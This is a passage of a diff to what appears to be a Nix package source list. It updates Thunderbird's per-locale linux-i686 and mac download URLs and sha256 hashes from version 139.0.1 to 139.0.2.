       locale = "ko";
       arch = "linux-i686";
-      sha256 = "3d787e9325240eed91c71fd1d1c2b8583aa752de2e6d1b752570e79d36cc4f62";
+      sha256 = "f543b32938ca1c3b592747f7a679c6232c904a970d7455032acbc95c56f916ce";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/lt/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/lt/thunderbird-139.0.2.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "ca62775af1973bd974539473f537ff82f9128da59266d8adb5c5c99306eb0e28";
+      sha256 = "6923123d16ce0ca096e68287da656171186cec69c302bb670566e1fe5d11c2fe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/lv/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/lv/thunderbird-139.0.2.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "85147ae97925a844e5de2316eac150aae9dc3e6dca5b2bfe66646337c22a3415";
+      sha256 = "64fe698210c6dd3deadb21cb0c4081e54e36daf1050a39292afb58d3029a46a8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ms/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ms/thunderbird-139.0.2.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "7049904b69a2d0d442913029bf697813698f7fb29895fc1d8f5565860679616e";
+      sha256 = "29fd892970167197bea3c185d76f40485b1df6cd4fb84a591b63b4dbabb6382b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/nb-NO/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/nb-NO/thunderbird-139.0.2.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "4fe8cec28f0a490e6a0bd47539256f6acc27a3d17f52b7cbad5aec0dd2f9a0a7";
+      sha256 = "ee4930d126e47def1372e37b240d364acd9ed94cb8158e5124a9a5101b23c43c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/nl/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/nl/thunderbird-139.0.2.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "4c3e0b81cafea3c68b10b452dfa7170dbc98a741f6ec009d9daec4a7652f0e0b";
+      sha256 = "586791b524608a950339be697c6c0dc59328f624526b1d92da1f6042cbcfe473";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/nn-NO/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/nn-NO/thunderbird-139.0.2.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "0f53a85a01d693b8e88fa329b3fb846d67a8503a1fa8ded27a46d61222054a22";
+      sha256 = "defad7e7923e171af30922a422f125c50f2a5aa60a2f805bf23a5054772853f8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/pa-IN/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/pa-IN/thunderbird-139.0.2.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "ac8c0e32720160999bfa900112a1c2c6a3a0257f511ca92db5949fe159974fc0";
+      sha256 = "fb9b4af5628bf0eb4b393fdca6f454ee7db3de32c515566782fb796dc305371f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/pl/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/pl/thunderbird-139.0.2.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "517a0474056fe86cf5b9bb27202888f28c8af3054b131d3f35e5714ec1440880";
+      sha256 = "796eb258b22557cb60f7697c2475d8c16be3ac6f985c360c6fd7f8302e383eaa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/pt-BR/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/pt-BR/thunderbird-139.0.2.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "62372bac20ba2ddd6a973b6ff82ea558ac1c4eb0f2f1803e5261530444677427";
+      sha256 = "5ef494b8549e11a0e78ac7bb16ea866167fdcee39585c269734ac9bd1c50b058";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/pt-PT/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/pt-PT/thunderbird-139.0.2.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "3a39a50b1815d105e063fb74f5cfe056950efa0cd962aa8552eb431370cb409a";
+      sha256 = "fc8123905a82e7da9e13154d0f6b029064cdbfe397c64e08040492b46ef5b327";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/rm/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/rm/thunderbird-139.0.2.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "9e98ecb9ac3984fd06079224342a9378178194b50d71767f4e1a74c37e9d652b";
+      sha256 = "e3cafa658e415528b4bd597becf2dd3aeb4871a0dc0d8f70ffb291b2a4918d38";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ro/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ro/thunderbird-139.0.2.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "f0f2ea3eb5c9e5ba7071017751823e985ccb64180e6e61be6f273188a7821c6b";
+      sha256 = "f9d21387a574f7fdf4bc72b8fd5f349a6a97d6a4bbfdb2c526c242c417e7227f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ru/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ru/thunderbird-139.0.2.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "5abab4897a49ccff9c876f0ac82c86b84594c47360f0074b3f21718cf1cb5265";
+      sha256 = "f1a4714261183df17b037910253305ea7301ba8cafa66cb45fb68b159292d7a6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/sk/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/sk/thunderbird-139.0.2.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "2990823b23c7efd3cb99cbfc212220a45c518c2fb38a3b49e018f797144d5746";
+      sha256 = "917b5c547936497403cd2b146155921c0ded6c6ed348e83a0534906940b2885e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/sl/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/sl/thunderbird-139.0.2.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "248c141ccd386f574e4ab1f59251928b8c28200e3f15fcca06385f0100d71798";
+      sha256 = "083fbd0f56ecddd4f00466790f71f70e80453622f9df2da1d8ece8ccca86495c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/sq/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/sq/thunderbird-139.0.2.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "ee3b6156e925f1fbf656f2fbd3a21cb688868926904965f5756d77f6d1df364f";
+      sha256 = "b7c1c94f601a28693ecb1a8bb812f76e4737a4c17c97598fc4ecb55e96efa762";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/sr/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/sr/thunderbird-139.0.2.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "eae2ce007c5f3451ab15905611c7cdea5112af6c4125150388fa051fa579bf8c";
+      sha256 = "7a69d6e63d0b5a90e6ed9ca3323eafa343c36c9c1c7a4f998d3e804fe9ffb669";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/sv-SE/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/sv-SE/thunderbird-139.0.2.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "e220ace1491c8aff485ada18a8b8f57065a2bb907a678edf6f4aeda627b37dfa";
+      sha256 = "46f4bae52bb547162f09fe26d834b5476a939371e96e2e0d2f0d185f3a6f5c10";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/th/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/th/thunderbird-139.0.2.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "8545c0b560b4909fc985e791aecd69a2eb1f1e09ea04eb5eeb06d62dfe8c37fd";
+      sha256 = "f55ce5dcddefcd1054514901ff5918f0482c6e9606616fbc536c3e46ab8bd139";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/tr/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/tr/thunderbird-139.0.2.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "eee4422497529c33ba38b9e928f14b67c73f67e0da7ed4b90e008616d5d8e205";
+      sha256 = "9cb5477b1f8c2a5417a8b4dfd3af2b4fc208a237c98a275ae4e0a6b56b9fcda7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/uk/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/uk/thunderbird-139.0.2.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "b07991e0b33b990f84eea8decfdf7fe9020a6f74672eab994e3e1591c647cf69";
+      sha256 = "b6160900240f929d8732066000751d225d453eef13202bd14e9a70ba7b41813e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/uz/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/uz/thunderbird-139.0.2.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "6fdf34541ad0111a6fe9aa8e9eb16daa413bdf5bfb5e41e49ef8807546567b05";
+      sha256 = "20abb2db65a2ca78f314d4f98f7980b013d1cd5e821206402b20afe44d17a2a1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/vi/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/vi/thunderbird-139.0.2.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "757ae40ca55b81817a3596ba5af22ca26a0fb9383634f01a801f8b9906ac2568";
+      sha256 = "94b19085f1faba4a43b35e20e508058481fea8dea53c933e3eb8ccdb055f9107";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/zh-CN/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/zh-CN/thunderbird-139.0.2.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "61734c2a06fea3ba63db28d8952883085be503293cd4b589066d0dc9becf6e3f";
+      sha256 = "ee8fe6fb8f1ad0246d776669b155da2b3807efd2a97ba4d8d470e613f7368624";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/zh-TW/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/zh-TW/thunderbird-139.0.2.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "5b20016318f3a1a01163666d6b4b3a495972715dc51bdc9a658558459804572d";
+      sha256 = "1487702e849700c49b2a2c4966d129fff2d8b593e28da76a4c59c431c5c8d6ed";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/af/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/af/Thunderbird%20139.0.2.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "661a3509839a2c8528d88d45086d495c4f60dfec5dd7784731fc63951fe817a7";
+      sha256 = "99b6cccc4eb25cb2ba996e7c2a5661c7b1f321172f4f7b99feb3af13d11bd771";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ar/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ar/Thunderbird%20139.0.2.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "a0eb721094ce8141b7a95fe4a318255b31341d37bfd2ecb5e152318ff6c702ec";
+      sha256 = "b6e290908664af8d4eddd1ff87ccafa347dbd8a1f8e9e525e9597efa06152a7e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ast/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ast/Thunderbird%20139.0.2.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "50493c0f36dd00a224f4393e19c3007a6c2e0be8bcf39b81f53bbf23b152c73d";
+      sha256 = "a8f93706a1d527245eb8518b6dd578444c66ffe9fa2988803dc46677ee34cb71";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/be/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/be/Thunderbird%20139.0.2.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "48d23b968e688534e5da70fb00d06b321d3b99f8b1ea70e80d43cc045bacb339";
+      sha256 = "d091cfe07d3caf4f7eaf43f887c9aa2a13a11137b3d79a8758a0321474ad35c0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/bg/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/bg/Thunderbird%20139.0.2.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "ad7a1abd20bf57b7794a82aa414eba24dab6c5f0ed90cec647116244c67d0e58";
+      sha256 = "e51370e8a83494522536d3baf10f62bfb8583eaf92d663024aa227b145ca3e99";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/br/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/br/Thunderbird%20139.0.2.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "fcbe9bba3b2740ff1b7a7705b943114519d0ac6ffd933a1691424ffb2a9f6149";
+      sha256 = "04f8805e10f645f678baf227a6f65c88e37ebdea8e73e4fb633e5960b8be4cdf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ca/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ca/Thunderbird%20139.0.2.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "850e128fa531f7a0ebf63a1dfe02a5851d2dc6433f4e4383eb51e2622eb12f19";
+      sha256 = "fa5239daad9d2a4d38d54d27e151e545329e144653454897d8a999e02d75f5c6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/cak/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/cak/Thunderbird%20139.0.2.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "2c599e9ab0da698e4ef8a00cea507e88333473e5fc4732b84579899b58a6049d";
+      sha256 = "de5119f83f0b9cc7a903ac88f1b6d667cb3fba29b8536792b80fa17e5392ae08";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/cs/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/cs/Thunderbird%20139.0.2.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "150b3544b400a60f047897b6d0b2e4d76c7f450d5588b516a2827c481e0e8aa2";
+      sha256 = "8b790dfa4555e91ea8696086ff0fb234cc7d836b5267742adf41470a16bc6118";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/cy/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/cy/Thunderbird%20139.0.2.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "8ecbebdbdcd899dba6d035b26373c0c20c34dbda0508d1d81301d7ca6339841a";
+      sha256 = "fb585c04de777dde121f415591d92b1af9d7a1d48cd3d34483d4f6333a5882e8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/da/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/da/Thunderbird%20139.0.2.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "067f1fca4f8740c9375df4031dff3107337cad5aec8bb444acb66950588fe37b";
+      sha256 = "9220241ddd83e9228cce19af38f214e5f33881ae31473d61356b735e10a99af4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/de/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/de/Thunderbird%20139.0.2.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "9548cb9469b55156d9ec760b3e7a8aba8557b9a097245b64b2f49a89d096548f";
+      sha256 = "e79485fa5396c270d40e900b2ca18a9362bbd200cc349f9e5b0c4b575e27d469";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/dsb/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/dsb/Thunderbird%20139.0.2.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "c944cf3cc258f3b31127cb14f1c7c44daa90c81f286626aa7ae82834f2ea2110";
+      sha256 = "485d894e39295de13e2a057b97b7516d50ef8a95fb78129fb1aec3366fc47a15";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/el/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/el/Thunderbird%20139.0.2.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "b2ff0d8fc32b62ed70907fc05abef5a6ce4b7eed9ffc76a12377535b2f0f0bcd";
+      sha256 = "2e907cf8c39668761bf4e2465c4253c97e44b7056c45385903405d09877c1643";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/en-CA/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/en-CA/Thunderbird%20139.0.2.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "282c67c46c789b14bcf09f131ee0b534dd5f0c9f391466b3674589d212704c1f";
+      sha256 = "ddc491a837452668e58eaf210b028cb8cb976e39ee7da8e38710f5d6f0b0103a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/en-GB/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/en-GB/Thunderbird%20139.0.2.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "ce9cea3ce87bceff71814463750c4f889396f04910f3b03db709411e16f7de2f";
+      sha256 = "d6db8f91f2f257968edb8da8a50f8b631dc7077c1425e08e91cbe4619c79017e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/en-US/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/en-US/Thunderbird%20139.0.2.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "89b88d943d7711a459d2f22c0a664edea203cc9c543b93e2a08b0cc5d33c690b";
+      sha256 = "b7d1168590e0a777320bf8be4628cbd74d0385537187608fea0aff796d5d6805";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/es-AR/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/es-AR/Thunderbird%20139.0.2.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "b53f67cc46402fb29dd4772630b774ff6b3a99eb429888dfe735d8fc0c433079";
+      sha256 = "e595a17a6c22bd6bde428de42045db4cb8471202cd3d493874cecaf30ff5c53e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/es-ES/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/es-ES/Thunderbird%20139.0.2.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "d2df07b9b7eeba3d9534a4fe552236f651fd026e6cbcaaecc0e84eefbaa7f6bc";
+      sha256 = "ca22719fbd05f2735c22a02788ab67e3143f5416ced0779a23f121b1b2c2888d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/es-MX/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/es-MX/Thunderbird%20139.0.2.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "e7427041a8cfda400e22c621af2578bbd76bc623bb98b2cccf3757610eb6ae38";
+      sha256 = "cd31aadea61077b041dc52e0e932003e98e912a606f325538c909b8a47e60e6d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/et/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/et/Thunderbird%20139.0.2.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "c6aeb1c175e7d77929c3484e90f18abd4daa0700da910e57429bcffdf71d41ce";
+      sha256 = "4609da896d29d21c4d1a01b7706ee6a11bafc1ab1fdb24c28216c251d22453c2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/eu/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/eu/Thunderbird%20139.0.2.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "334ae939efdc4ae2f0f2d675dccef95524c87e689c938de0b50a14629486823a";
+      sha256 = "5747357e5c51ad5964a6d9d7d8a2113584d7c69e862d0e883457f340f42cce66";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/fi/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/fi/Thunderbird%20139.0.2.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "33cb8559ebf133f6e3eb3ee9e5840686b4da8d25bff089fac6b28622b18500fb";
+      sha256 = "c46e1516a9f225db947d30474d3db24dfe52fb615ff65d3fb9215e657283a0e9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/fr/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/fr/Thunderbird%20139.0.2.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "ec5ca14af67be2c6d6d8d234c760791748eb430b7eeab654a20f62a0cf1a3abe";
+      sha256 = "f015ae56a6aca04658ed6cca2efd0d4c148d78b6ec0034ac5589388bf578a40e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/fy-NL/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/fy-NL/Thunderbird%20139.0.2.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "dd48af792b35c917a09c3f9fde5cf8b3b20087bdaf7008d1526cf8b57c707bea";
+      sha256 = "a5e64f9049dd98e8c002658bb86fe51dfd4fb42c5f26f527ef755fa76ef52380";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ga-IE/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ga-IE/Thunderbird%20139.0.2.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "cf41646244e6c703e52eb610df3168c1ef0704064de989ddea367410caa873be";
+      sha256 = "74eccba37c3992556dfe124b85fc9134b78fc03fa6fc3a4c81c8131470592895";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/gd/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/gd/Thunderbird%20139.0.2.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "46bd390199d094e321af1d713ee25cca147d901f01f3d29b965b2c7fa1a84603";
+      sha256 = "1176cc0c6a23df107264ad7cd7d83862b29d354c03c198f9bd2558f0a2d218d8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/gl/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/gl/Thunderbird%20139.0.2.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "11839716ff48d6d0ff577014f458eb414b3af4e367cb46879ea815153fc86732";
+      sha256 = "3af59caf92d2195b039218a6517d68c557452b20d888f9ac1cbadb60ce9fd4d0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/he/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/he/Thunderbird%20139.0.2.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "88453d1c056e620c7c31c88a7d297b8b6927ae9e8c41c34ffec8a1365dfa9fc3";
+      sha256 = "38793e93483928207ed0a599546c85eaaf987f15351bac52bda811183c86e225";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/hr/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/hr/Thunderbird%20139.0.2.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "e46b5b26b63c07dfa64d659a288179d0995b4382523ba6165190fbe1cd5f5802";
+      sha256 = "e07947d0b4f147c5fe44c9da4b020e3756dd59bb7aa02c23d9693326ea336808";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/hsb/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/hsb/Thunderbird%20139.0.2.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "a2c69565fc77c164a0924d333412fd9a561236a621bdcf4cddc3e1f19e4d6002";
+      sha256 = "94f3fb73dc47589750d398939181919cabcd50f1d68088ae8356a078db6ef357";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/hu/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/hu/Thunderbird%20139.0.2.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "ab2a91b3a45739f381f3d07f1bb5e01cb3c4e2c8a654d2f5a4b835d3cadc6d1a";
+      sha256 = "616254454de1a74a14c2851f74fb6db75d1119df4d38630cc11edba5ce8f8499";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/hy-AM/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/hy-AM/Thunderbird%20139.0.2.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "e46faf2731d1a12aea31a33167af392755d86dfc212b0c2ef9ca207ff8eae6bf";
+      sha256 = "8be90ac6541d8822ae6758066c9caea176a3b9d4cec5f4d79f885912388e1f1f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/id/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/id/Thunderbird%20139.0.2.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "fc0e42111f125bbdf758107b4f8481af99ae71ec19c78c38f646974fe7ac2fa8";
